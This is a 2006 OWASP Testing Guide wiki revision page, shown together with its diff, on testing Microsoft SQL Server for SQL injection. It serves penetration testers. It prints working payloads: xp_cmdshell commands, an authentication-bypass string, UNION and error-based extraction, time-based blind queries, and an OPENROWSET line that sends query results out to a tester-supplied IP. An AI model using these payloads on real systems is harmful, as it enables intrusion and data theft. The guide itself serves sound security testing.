Difference between revisions of "Testing for SQL Server"

Revision as of 20:53, 3 November 2006

OWASP Testing Guide v2 Table of Contents

1 Short Description of the Issue (Topic and Explanation)
2 Black Box testing and example
3 1.1 How to Test
4 1.2 Black Box testing and example
5 Gray Box testing and example
6 References

Short Description of the Issue (Topic and Explanation)

[SQL injection vulnerabilities] occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.

The Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application. That's the subject of this section.

Black Box testing and example

1.1 How to Test

As explained in SQL injection a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:

Application parameters in query strings (e.g., GET requests)
Application parameters included as part of the body of a POST request
Browser-related information (e.g., user-agent, referrer)
Host-related information (e.g., host name, IP)
Session-related information (e.g., user ID, cookies)

For building the exploits, the penetration tester has to know the operators used in SQL Server. There follow some useful operators and commands/stored procedures:

comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)
query separator: ; (semicolon)
Stored procedures:
- [xp_cmdshell] executes any command shell in the server with the same permissions that it is currently running.
- [sp_makewebtask] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires sysadmin.
- [xp_sendmail] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.
Implementing exploits with MS SQL functions
- Most of the examples use the exec function. Bellow we show how to execute a shell command that writes the output of the command dir c:\inetpub in a browseable file using [xp_cmdshell].

exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--

Here,

exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--

which produces an HTML document containing the result of the query --so that it can be browsed by the pen tester! And

'; select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=" + 
   YOUR_IP_ADDRESS + "," + PORT + ";timeout=1',)--"

returns the result of the query to the IP of the penetration tester. The fields in bold must be completed, where sa is the sysadmin and foobar his password, YOUR_IP_ADDRESS is the pen tester's IP and PORT the port number where he wants to receive this information. See [OPENROWSET]

- The following uses the function db_name to return the name of the database in an error.

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())

Notice, the use of [convert]:

CONVERT ( data_type [ ( length ) ] , expression [ , style ] )

Explicitly converts an expression of one data type to another. It's used as part of SQL injection attacks to force a conversion error and trigger error messages containing information of interest for the pen tester (i.e. table field values).

Environment variables: @@version

Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. A query of this sort will return the version of the SQL Server.

/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--

or

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)

1.2 Black Box testing and example

There follow several examples that exploit SQL injection vulnerabilities through different entry points.

Example 1: Testing for SQL Injection in a GET request.

The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string "' or '1'='1" (without double quotes):

https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1

If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.

Example 2: Testing for SQL Injection in a GET request (2).

In order to learn how many columns there exist

https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--

Example 3: Testing in a POST request

SQL Injection, HTTP POST Content: email=%27&whichSubmit=submit&submit.x=0&submit.y=0

A complete post example:

POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1
Host: vulnerable.web.app
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referrer: http://vulnerable.web.app/forgotpass.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

The error message obtained when a ' (single quote) character is entered at the email field is:

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string  '.
/forgotpass.asp, line 15

Example 4: Yet another (useful) GET example

Obtaining the application's source code

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--

Example 5: Referrer / User-Agent

The REFERER header set to:

Referrer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--

Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:

User-Agent: user_agent', 'some_ip'); [SQL CODE]--

Obtain information when it is not displayed (Out of band)

Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [SQL injection]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested.

Other options for out of band attacks are describe in Sample 4 above.

Blind SQL injection attacks

Trial and error

Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[1]]) against this channel and watch the response. For example, if the web application is looking for a book using a query

  select * from books where title=text entered by the user

then the penetration tester might enter the text: 'Bomba' OR 1=1- and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later play with the queries in order to assess the criticality of this vulnerability.

In case more than one error message is displayed

On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any covert channel. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example:

On some cases the web application (actually the web server) might return the traditional 500: Internal Server Error, say when the application returns an exception that might be generated for instance by a query with unclosed quotes.
While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers Internal server error or bad data.

This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.

Another out-of-band method is to output the results through HTTP browseable

Timing attacks

There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., Bleichenbacher's attack). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the SQL command waitfor delay '0:0:5', for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the books database exists he will send the command

if exists (select * from pubs..pub_info) waitfor delay '0:0:5'

In fact, what we have here is two things: a SQL-injection vulnerability and a covert channel that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string

declare @s varchar(8000) 
select @s = db_name() 
if (ascii(substring(@s, n, b)) & ( power(2, 0))) > 0 waitfor delay 0:0:5

will wait for 5 seconds if the nth bit of the name of the current database is b, and will return at once if it is 1-b. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!

However, it might happen that the command waitfor is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example

declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end

Checking for version and vulnerabilities

In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.

Gray Box testing and example

Testing for Topic X vulnerabilities:
...
Result Expected:
...

References

Whitepapers
...
Tools
...

OWASP Testing Guide v2

Here is the OWASP Testing Guide v2 Table of Contents OWASP Testing Guide v2 Table of Contents

This article is a stub. You can help OWASP by expanding it or discussing it on its Talk page.

@@ Line 7: / Line 7: @@
 == Black Box testing and example ==
-'''Testing for Topic X vulnerabilities:''' <br>
-...<br>
+==1.1 How to Test==
-'''Result Expected:'''<br>
-...<br><br>
+As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:
+* Application parameters in query strings (e.g., GET requests)
+* Application parameters included as part of the body of a POST request
+* Browser-related information (e.g., user-agent, referrer)
+* Host-related information (e.g., host name, IP)
+* Session-related information (e.g., user ID, cookies)
+For building the exploits, the penetration tester has to know the operators used in SQL Server. There follow some useful operators and commands/stored procedures:
+* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)
+* query separator: ; (semicolon)
+* Stored procedures:
+** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running.
+** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin'''.
+** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.
+* Implementing exploits with MS SQL functions
+** Most of the examples use the '''exec''' function. Bellow we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file using [[http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_xp_aa-sz_4jxo.asp xp_cmdshell]].
+ exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--
+Here,
+ exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--
+which produces an HTML document containing the result of the query --so that it can be browsed by the pen tester! And
+ '; select * from OPENROWSET('SQLOLEDB','uid='''sa''';pwd='''foobar''';Network=DBMSSOCN;Address=" +
+    '''YOUR_IP_ADDRESS''' + "," + '''PORT''' + ";timeout=1','')--"
+returns the result of the query to the IP of the penetration tester. The fields in bold must be completed, where ''sa'' is the sysadmin and ''foobar'' his password, ''YOUR_IP_ADDRESS'' is the pen tester's IP and ''PORT'' the port number where he wants to receive this information. See [[http://msdn2.microsoft.com/en-us/library/ms190312.aspx OPENROWSET]]
+** The following uses the function '''db_name''' to return the name of the database in an error.
+ /controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())
+Notice, the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:
+ CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
+Explicitly converts an expression of one data type to another. It's used as part of SQL injection attacks to force a conversion error and trigger error messages containing information of interest for the pen tester (i.e. table field values).
+* Environment variables: '''@@version '''
+Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. A query of this sort will return the version of the SQL Server.
+ <nowiki>/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--</nowiki>
+or
+ /controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)
+==1.2 Black Box testing and example==
+There follow several examples that exploit SQL injection vulnerabilities through different entry points.
+===Example 1: Testing for SQL Injection in a GET request. ===
+The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string "' or '1'='1" (without double quotes):
+ <nowiki>https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1</nowiki>
+If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.
+===Example 2: Testing for SQL Injection in a GET request (2).===
+In order to learn how many columns there exist
+ <nowiki>https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--</nowiki>
+===Example 3: Testing in a POST request ===
+SQL Injection, HTTP POST Content: email=%27&whichSubmit=submit&submit.x=0&submit.y=0
+A complete post example:
+ POST <nowiki>https://vulnerable.web.app/forgotpass.asp HTTP/1.1</nowiki>
+ Host: vulnerable.web.app
+ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13
+ Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
+ Accept-Language: en-us,en;q=0.5
+ Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+ Keep-Alive: 300
+ Proxy-Connection: keep-alive
+ Referrer: <nowiki>http://vulnerable.web.app/forgotpass.asp</nowiki>
+ Content-Type: application/x-www-form-urlencoded
+ Content-Length: 50<br>
+ email=%27&whichSubmit=submit&submit.x=0&submit.y=0
+The error message obtained when a ' (single quote) character is entered at the email field is:
+ Microsoft OLE DB Provider for SQL Server error '80040e14'
+ Unclosed quotation mark before the character string '' '.
+ /forgotpass.asp, line 15
+===Example 4: Yet another (useful) GET example===
+Obtaining the application's source code
+ a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--
+===Example 5: Referrer / User-Agent===
+The REFERER header set to:
+ Referrer: <nowiki>https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--</nowiki>
+Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:
+ User-Agent: user_agent', 'some_ip'); [SQL CODE]--
+===Obtain information when it is not displayed (Out of band)===
+Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested.
+Other options for out of band attacks are describe in Sample 4 above.
+===Blind SQL injection attacks===
+====Trial and error====
+Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query
+   select * from books where title='''text entered by the user'''
+then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.
+====In case more than one error message is displayed====
+On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example:
+* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes.
+* While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''.
+This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.
+Another out-of-band method is to output the results through HTTP browseable
+====Timing attacks====
+There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., ''Bleichenbacher's attack''). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the ''SQL command waitfor delay '0:0:5','' for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the ''books'' database exists he will send the command
+ if exists (select * from pubs..pub_info) waitfor delay '0:0:5'
+In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string
+ declare @s varchar(8000)
+ select @s = db_name()
+ if (ascii(substring(@s, ''n'', ''b'')) & ( power(2, 0))) > 0 waitfor delay 0:0:5
+will wait for 5 seconds if the ''n''th bit of the name of the current database is ''b'', and will return at once if it is ''1-b''. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!
+However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example
+ declare @i int select @i = 0
+ while @i < 0xaffff begin
+ select @i = @i + 1
+ end
+===Checking for version and vulnerabilities===
+In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.
 == Gray Box testing and example ==
 '''Testing for Topic X vulnerabilities:'''<br>

Difference between revisions of "Testing for SQL Server"

Revision as of 20:53, 3 November 2006

Short Description of the Issue (Topic and Explanation)

Black Box testing and example

1.1 How to Test

1.2 Black Box testing and example

Example 1: Testing for SQL Injection in a GET request.

Example 2: Testing for SQL Injection in a GET request (2).

Example 3: Testing in a POST request

Example 4: Yet another (useful) GET example

Example 5: Referrer / User-Agent

Obtain information when it is not displayed (Out of band)

Blind SQL injection attacks

Trial and error

In case more than one error message is displayed

Timing attacks

Checking for version and vulnerabilities

Gray Box testing and example

References

Navigation menu

Personal tools

Namespaces

Variants

Views

More

Search

Navigation

Reference

Tools